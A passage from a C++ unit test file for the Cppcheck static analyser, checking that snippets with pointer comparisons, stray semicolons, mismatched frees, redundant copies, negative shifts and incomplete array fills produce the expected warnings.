\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 